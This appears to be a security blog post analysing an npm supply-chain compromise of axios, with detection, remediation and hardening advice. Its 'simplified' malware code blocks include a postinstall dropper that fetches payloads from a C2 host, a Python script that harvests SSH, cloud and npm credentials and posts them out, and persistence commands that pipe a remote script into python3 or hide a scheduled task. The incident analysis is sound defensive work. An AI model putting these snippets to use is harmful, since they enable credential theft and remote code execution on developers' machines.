What is Axios?
Before we dive into the attack, let's understand what makes axios so critical โ and why this attack was so devastating. ๐ฏ
Axios is like a universal translator for JavaScript applications talking to web servers. Instead of writing complex fetch() code every time, developers use axios as a friendly middleman that handles HTTP requests, responses, errors, and data transformation automatically.
It's the #1 most popular HTTP client library in the JavaScript ecosystem โ trusted by millions of projects worldwide. ๐
Why Developers Love Axios
// Without axios - verbose and error-prone
const response = await fetch('/api/users');
if (!response.ok) throw new Error('Request failed');
const data = await response.json();
// With axios - clean and simple โจ
const { data } = await axios.get('/api/users');
Axios handles timeouts, retries, request/response interceptors, automatic JSON transformation, and cross-browser compatibility. It's trusted infrastructure that "just works" โ which is exactly why attackers targeted it. ๐ก
Attack Overview: A Perfectly Executed Supply Chain Compromise
On March 30, 2026, security researchers at StepSecurity discovered something alarming: two malicious versions of axios had been published to npm. This wasn't a typosquatting attack or a dependency confusion issue โ this was the real axios package, published by a compromised maintainer account. ๐ฑ
โข axios@1.14.1 โ Published 2026-03-30 at 08:42 UTC
โข axios@0.30.4 โ Published 2026-03-30 at 09:21 UTC
Both versions injected a malicious dependency:
plain-crypto-js@4.2.1
The Attack Flow
Why This Attack Was Sophisticated
Unlike typical npm malware that relies on typos or newly created packages, this attack demonstrated advanced planning and operational security: ๐
- ๐ฏ Pre-staged malicious dependency: The attacker published
plain-crypto-js@4.2.1to npm 18 hours before the axios releases, avoiding "brand-new package" alarms from security scanners - ๐ Dual-branch targeting: Both the
1.xand0.xrelease branches were poisoned within 39 minutes, maximizing exposure to different project versions - โก Bypassed CI/CD: Published directly via npm CLI using compromised credentials, completely bypassing the project's normal GitHub Actions pipeline and code review process
- ๐ต๏ธ Email hijacking: The attacker changed the maintainer's account email to an anonymous ProtonMail address, preventing legitimate recovery attempts
- ๐งน Self-cleaning malware: After execution, the malware deleted itself and replaced its package.json with a clean version to evade forensic detection
This wasn't a script kiddie attack. The attacker demonstrated deep understanding of npm security, package management workflows, and supply chain vulnerabilities. The 18-hour staging period shows patience and planning rarely seen in npm attacks.
Attack Timeline: 18 Hours of Preparation
Let's walk through exactly what happened, minute by minute. The attacker's careful timing reveals a sophisticated operation: โฑ๏ธ
"plain-crypto-js": "^4.2.1". Published via npm CLI, bypassing GitHub Actions
CI/CD.
npm install axios or
npm update. Postinstall script executes automatically, deploying RAT malware to
developer machines. Credentials, SSH keys, and cloud tokens harvested.
Technical Deep Dive: How the Attack Worked
Let's break down the technical mechanics of this attack. Understanding the "how" is crucial for preventing future incidents. ๐ฌ
Step 1: Dependency Injection
The attacker modified axios's package.json to add a new dependency that was never imported
anywhere in the code. This is the red flag that security scanners eventually caught: ๐ฉ
{
"name": "axios",
"version": "1.14.1",
"dependencies": {
"follow-redirects": "^1.15.6",
"form-data": "^4.0.0",
"proxy-from-env": "^1.1.0",
"plain-crypto-js": "^4.2.1" // ๐ฅ MALICIOUS!
}
}
plain-crypto-js was never imported or used by axios's code. Its sole purpose was to
execute a postinstall script during npm install. This is a classic supply chain attack
vector: inject a malicious dependency that runs code during package installation.
Step 2: The Postinstall Script
When you run npm install axios@1.14.1, npm automatically runs postinstall scripts for all
dependencies. The malicious plain-crypto-js@4.2.1 package.json contained: โ๏ธ
{
"name": "plain-crypto-js",
"version": "4.2.1",
"scripts": {
"postinstall": "node index.js" // ๐ฅ Runs automatically!
}
}
The index.js file contained obfuscated JavaScript that acted as a cross-platform RAT
dropper. Here's a simplified version of what it did: ๐ต๏ธ
const os = require('os');
const https = require('https');
const exec = require('child_process').exec;
// Detect operating system
const platform = os.platform();
// Command & Control server
const C2_SERVER = 'https://sfrclak.com:8000';
// Download and execute platform-specific payload
if (platform === 'darwin') {
// macOS: Download RAT binary to system cache
downloadAndExecute(`${C2_SERVER}/macos-rat`, '/Library/Caches/com.apple.act.mond');
} else if (platform === 'win32') {
// Windows: Copy PowerShell to hidden location and run malicious script
exec('copy C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe %PROGRAMDATA%\\wt.exe');
downloadAndExecute(`${C2_SERVER}/windows-rat.ps1`, '%PROGRAMDATA%\\update.ps1');
} else if (platform === 'linux') {
// Linux: Download Python-based RAT
downloadAndExecute(`${C2_SERVER}/linux-rat.py`, '/tmp/ld.py');
}
// Self-destruct: Delete malware and replace package.json with clean version
setTimeout(() => {
cleanupAndHide();
}, 5000);
npm install โ before npm had even finished
resolving all dependencies. By the time the installation completed, the RAT was already running on the
victim's machine.
Step 3: Platform-Specific Payloads
The attacker pre-built three different RAT payloads optimized for each operating system: ๐ฅ๏ธ
| Platform | Payload Location | Persistence Mechanism | Harvested Data |
|---|---|---|---|
| macOS |
/Library/Caches/com.apple.act.mond
|
LaunchAgent plist | ~/.ssh/, ~/.aws/, Keychain passwords |
| Windows |
%PROGRAMDATA%\wt.exe
|
Scheduled Task | %USERPROFILE%\.ssh\, Credential Manager, Browser cookies |
| Linux | /tmp/ld.py |
Cron job | ~/.ssh/, ~/.kube/, ~/.docker/, environment variables |
What the RAT Targeted
The malware was specifically designed to steal developer credentials and secrets: ๐
- SSH Keys:
~/.ssh/id_rsa,id_ed25519โ access to production servers - AWS Credentials:
~/.aws/credentialsโ cloud infrastructure access - Docker Credentials:
~/.docker/config.jsonโ container registry access - Kubernetes Config:
~/.kube/configโ cluster access - Git Credentials:
~/.gitconfig,~/.git-credentialsโ source code access - NPM Tokens:
~/.npmrcโ package publishing rights - Environment Variables: API keys, database passwords, tokens
- Browser Cookies: Session tokens for GitHub, AWS Console, etc.
The RAT Malware Explained: Cross-Platform Credential Theft
Let's analyze what the malware actually does once it's on your machine. Understanding the RAT's behavior is key to detecting and removing it. ๐ฌ
Phase 1: Initial Infection (0-5 seconds)
plain-crypto-js postinstall script executes automatically. Dropper checks OS and
contacts C2 server at sfrclak.com:8000.
plain-crypto-js/package.json with clean
version. Forensic analysis now much harder.
Phase 2: Credential Harvesting (5-60 seconds)
The RAT systematically scans for developer secrets: ๐ต๏ธ
import os
import json
import base64
import requests
HOME = os.path.expanduser('~')
C2_UPLOAD = 'https://sfrclak.com:8000/upload'
# Target credential locations
TARGETS = [
f'{HOME}/.ssh/id_rsa',
f'{HOME}/.ssh/id_ed25519',
f'{HOME}/.aws/credentials',
f'{HOME}/.kube/config',
f'{HOME}/.docker/config.json',
f'{HOME}/.npmrc',
f'{HOME}/.gitconfig',
f'{HOME}/.git-credentials'
]
def harvest_credentials():
stolen_data = {}
# Read credential files
for target in TARGETS:
if os.path.exists(target):
with open(target, 'r') as f:
stolen_data[target] = f.read()
# Extract environment variables
env_secrets = {
k: v for k, v in os.environ.items()
if any(keyword in k.upper()
for keyword in ['TOKEN', 'KEY', 'SECRET', 'PASSWORD', 'API'])
}
stolen_data['env'] = env_secrets
# Exfiltrate to C2 server
payload = base64.b64encode(json.dumps(stolen_data).encode())
requests.post(C2_UPLOAD, data={'data': payload})
# Execute harvesting
harvest_credentials()
Phase 3: Persistence & C2 Communication
The RAT establishes persistence to survive reboots and maintains a backdoor connection: ๐
#!/bin/bash
# Add hidden cron job that re-downloads RAT every hour
(crontab -l 2>/dev/null; echo "@hourly /bin/bash -c 'curl -s https://sfrclak.com:8000/linux-rat.py | python3 -'") | crontab -
# Create scheduled task that runs on startup and every 2 hours
$Action = New-ScheduledTaskAction -Execute '%PROGRAMDATA%\wt.exe' -Argument '-File %PROGRAMDATA%\update.ps1 -WindowStyle Hidden'
$Trigger = New-ScheduledTaskTrigger -AtStartup
$Settings = New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $Action -Trigger $Trigger -Settings $Settings
How It Was Detected: Automated Monitoring Saved the Day
The attack was discovered by StepSecurity's automated supply chain monitoring system approximately 3 hours after the first malicious version was published. Here's how: ๐
Detection Method 1: Suspicious Dependency Addition
Security scanners flagged an unusual pattern: a new dependency was added to axios that was never imported in the codebase. This is a classic indicator of supply chain compromise: ๐ฉ
// Simplified detection logic
function detectSuspiciousDependency(packageName, version) {
const pkgJson = fetchPackageJson(packageName, version);
const sourceFiles = fetchSourceCode(packageName, version);
for (const dep of pkgJson.dependencies) {
const isImported = sourceFiles.some(file =>
file.includes(`require('${dep}')`) ||
file.includes(`import ... from '${dep}'`)
);
if (!isImported) {
// ๐จ Red flag: dependency never used!
alert(`Suspicious unused dependency detected: ${dep}`);
}
}
}
// Triggered alert for plain-crypto-js
detectSuspiciousDependency('axios', '1.14.1');
// ๐จ Alert: plain-crypto-js is listed but never imported!
Detection Method 2: Bypassed CI/CD Pipeline
Legitimate axios releases always go through GitHub Actions and are published by the CI bot. These
versions were published directly via npm publish using personal credentials โ another red
flag: ๐ด
Detection Method 3: Rapid Version Succession
Two major versions (1.14.1 and 0.30.4) were published within 39 minutes, both with the same suspicious dependency pattern. This rapid, coordinated release across branches triggered anomaly detection: โก
Without automated security scanning, this attack could have remained undetected for days or weeks. StepSecurity's monitoring caught the attack within hours by analyzing dependency patterns, publishing methods, and release cadence โ all signals that would be nearly impossible for humans to catch in real-time across thousands of packages.
Response & Mitigation: Containing the Damage
Once the attack was detected, a coordinated response from the security community, npm, and the axios maintainers worked to contain the damage: ๐ก๏ธ
Immediate Actions Taken
Remediation Steps for Affected Users
If you installed axios@1.14.1 or axios@0.30.4, you need to take immediate action: ๐จ
- Upgrade axios immediately:
npm install axios@latest - Check your lock files: Verify package-lock.json or yarn.lock doesn't reference malicious versions
- Scan for RAT presence: Check for files at locations listed in Section 5
- Rotate ALL credentials: SSH keys, AWS keys, GitHub tokens, API keys, database passwords
- Review access logs: Check for unauthorized access to servers, cloud accounts, repositories
- Re-image compromised machines: For high-security environments, consider full system reinstall
- Enable 2FA everywhere: GitHub, npm, AWS, cloud providers
Detection Script
Run this script to check if you have the malicious versions installed: ๐
#!/bin/bash
# Check if malicious axios versions are installed
echo "๐ Checking for malicious axios versions..."
if npm list axios | grep -E "1.14.1|0.30.4"; then
echo "๐จ ALERT: Malicious axios version detected!"
echo "โ ๏ธ You must take immediate action:"
echo " 1. Upgrade: npm install axios@latest"
echo " 2. Rotate all credentials"
echo " 3. Scan for RAT malware"
else
echo "โ
No malicious axios versions found."
fi
# Check for RAT artifacts
echo ""
echo "๐ Checking for RAT artifacts..."
if [[ "$(uname)" == "Darwin" ]]; then
[[ -f "/Library/Caches/com.apple.act.mond" ]] && echo "๐จ RAT detected: /Library/Caches/com.apple.act.mond"
elif [[ "$(uname)" == "Linux" ]]; then
[[ -f "/tmp/ld.py" ]] && echo "๐จ RAT detected: /tmp/ld.py"
crontab -l | grep -q "sfrclak.com" && echo "๐จ Malicious cron job detected"
fi
Key Takeaways & Prevention Strategies
This attack exposes critical vulnerabilities in the npm ecosystem and software supply chains. Here's what we learned and how to protect ourselves: ๐ก
๐ฏ Key Lessons Learned
The Attack: A single compromised npm account gave the attacker publishing rights to a package with 100M+ weekly downloads.
The Lesson: Maintainer accounts for popular packages are equivalent to root access to millions of machines. They MUST be protected with the highest level of security.
Action Items:
- โ Enable 2FA on npm, GitHub, and all publishing accounts (mandatory, not optional)
- โ Use hardware security keys (YubiKey) for 2FA, not SMS or app-based TOTP
- โ Use separate, dedicated npm tokens per CI/CD pipeline with minimal scope
- โ Rotate npm tokens every 90 days
- โ Monitor npm account activity for suspicious logins
The Attack: The attacker bypassed GitHub Actions by publishing directly via npm CLI using stolen credentials.
The Lesson: Publishing should ONLY happen through automated CI/CD pipelines, never via manual npm publish commands. This provides audit trails, code review, and security scanning.
Action Items:
- โ
Disable manual publishing: Use
publishConfig.accessrestrictions - โ Require signed commits for all releases
- โ Use GitHub's OIDC tokens for npm publishing (short-lived, scoped)
- โ Enable npm provenance attestations (npm publish --provenance)
- โ Set up alerts for unexpected npm publishes
The Attack: The malware executed via a postinstall script in
plain-crypto-js, running automatically during npm install.
The Lesson: Postinstall scripts have full access to your filesystem and can execute arbitrary code. They're the #1 attack vector for npm supply chain attacks.
Action Items:
- โ
Disable install scripts by default:
npm config set ignore-scripts true - โ
Use
npm install --ignore-scriptsin CI/CD - โ Manually review and allowlist scripts when needed
- โ Use security tools that analyze install scripts before execution
- โ Audit dependencies regularly for suspicious postinstall scripts
The Attack: Manual code review wouldn't have caught the unused
plain-crypto-js dependency buried in package.json.
The Lesson: You need automated tools to detect suspicious patterns (unused dependencies, new install scripts, unexpected network calls) across your entire dependency tree.
Action Items:
- โ Use Socket.dev, Snyk, or StepSecurity for automated supply chain monitoring
- โ Enable GitHub Dependabot security alerts
- โ Set up CI/CD checks that fail on new install scripts without approval
- โ Pin exact dependency versions in package-lock.json
- โ Review lock file changes carefully in pull requests
The Attack: The RAT stole credentials within seconds. Manual rotation would be too slow.
The Lesson: Assume breach. Design systems where compromised credentials expire quickly and can be rotated automatically.
Action Items:
- โ Use short-lived credentials wherever possible (AWS STS, OAuth tokens)
- โ Implement automated credential rotation (AWS Secrets Manager, HashiCorp Vault)
- โ Never commit credentials to code or config files
- โ Use environment-specific credentials (dev/staging/prod)
- โ Monitor for unusual credential usage patterns
The Attack: The RAT ran with full user privileges, accessing everything in the home directory.
The Lesson: Limit what processes can access. Run builds in containers with minimal permissions.
Action Items:
- โ Run npm install in Docker containers without access to ~/.ssh or ~/.aws
- โ Use read-only filesystems for CI/CD build containers
- โ Separate development machines from production credential storage
- โ Use dedicated CI/CD service accounts with minimal permissions
- โ Never store production credentials on developer machines
The Attack: Multiple security failures enabled this attack: no 2FA, direct npm CLI publishing allowed, no install script monitoring.
The Lesson: Layer security controls. If one fails, others should catch the attack.
Action Items:
- โ Require 2FA + hardware keys
- โ Enforce CI/CD-only publishing
- โ Monitor dependencies with automated tools
- โ Disable install scripts by default
- โ Run builds in isolated containers
- โ Use network egress restrictions in CI/CD
- โ Enable audit logging everywhere
๐ก๏ธ npm Security Best Practices Checklist
- โ๏ธ Enable 2FA with hardware security keys on npm and GitHub
- โ๏ธ Publish ONLY via CI/CD (GitHub Actions, GitLab CI)
- โ๏ธ Use GitHub OIDC tokens instead of long-lived npm tokens
- โ๏ธ Enable npm provenance attestations
- โ๏ธ Require signed commits for releases
- โ๏ธ Monitor package download analytics for anomalies
- โ๏ธ Set up alerts for unexpected npm account activity
- โ๏ธ Disable install scripts:
npm config set ignore-scripts true - โ๏ธ Use automated dependency scanning (Socket.dev, Snyk)
- โ๏ธ Pin exact versions in package-lock.json
- โ๏ธ Review lock file changes in pull requests
- โ๏ธ Run npm audit regularly
- โ๏ธ Use separate credentials for dev vs. production
- โ๏ธ Never store production secrets on development machines
- โ๏ธ Run CI/CD builds in isolated Docker containers
๐ Tools & Resources
- Socket.dev โ Real-time supply chain security monitoring
- Snyk โ Vulnerability scanning and dependency monitoring
- StepSecurity โ GitHub Actions security hardening
- npm audit โ Built-in vulnerability scanner
- Dependabot โ Automated dependency updates and alerts
- Sigstore โ Software signing and provenance verification
References & Resources
๐ Security Advisories & Analysis
- StepSecurity: axios Compromised on npm - Malicious Versions Drop Remote Access Trojan
- Socket.dev: Supply Chain Attack on Axios Pulls Malicious Dependency
- Aikido: axios compromised on npm - maintainer account hijacked, RAT deployed
- The Hacker News: Axios Supply Chain Attack Pushes Cross-Platform RAT via Compromised npm Account
- Snyk: Axios npm Package Compromised - Supply Chain Attack Delivers Cross-Platform RAT
- Wiz: Axios NPM Distribution Compromised in Supply Chain Attack
๐ฐ News Coverage
- iTnews: Supply chain attack hits 300 million-download Axios npm package
- Techzine: Axios npm package compromised, posing a new supply chain threat
- Cybersecurity News: Axios NPM Packages Compromised to Inject With Malicious Codes
- Security Online: Axios Under Siege - Critical npm Supply Chain Attack
๐ก๏ธ Security Best Practices
- npm: About Two-Factor Authentication
- GitHub: Security hardening with OpenID Connect
- npm: Generating provenance statements
- Socket.dev: Supply chain security for npm